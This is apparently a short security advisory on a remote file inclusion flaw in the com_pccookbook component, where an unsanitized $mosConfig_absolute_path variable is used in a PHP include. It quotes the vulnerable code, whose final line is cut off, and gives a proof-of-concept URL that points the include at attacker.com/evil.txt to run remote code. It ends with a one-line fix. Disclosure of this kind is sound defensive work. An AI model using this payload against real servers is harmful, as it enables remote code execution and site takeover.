global $mosConfig_absolute_path;

 // include language file, or default to english
 if (file_exists ($mosConfig_absolute_path .
'/components/com_pccookbook/languages/' . $mosConfig_lang . '.php')) {
            include_once ($mosConfig_absolute_path .

 } // end if
        ?>
...
----------------------------------------------------------
 
Variables $mosConfig_absolute_path are not properly sanitized. When
register_globals=on
and allow_fopenurl=on an attacker can exploit this vulnerability with a
simple php injection script.
 
Proof Of Concept:
~~~~~~~~~~~~~~~~
 
http://[target]/[path]/components/com_pccookbook/pccookbook.php?mosConfi
g_absolute_path=http://attacker.com/evil.txt?
 
Solution:
~~~~~~~~
 
sanitize variabel $mosConfig_absolute_path in pccookbook.php
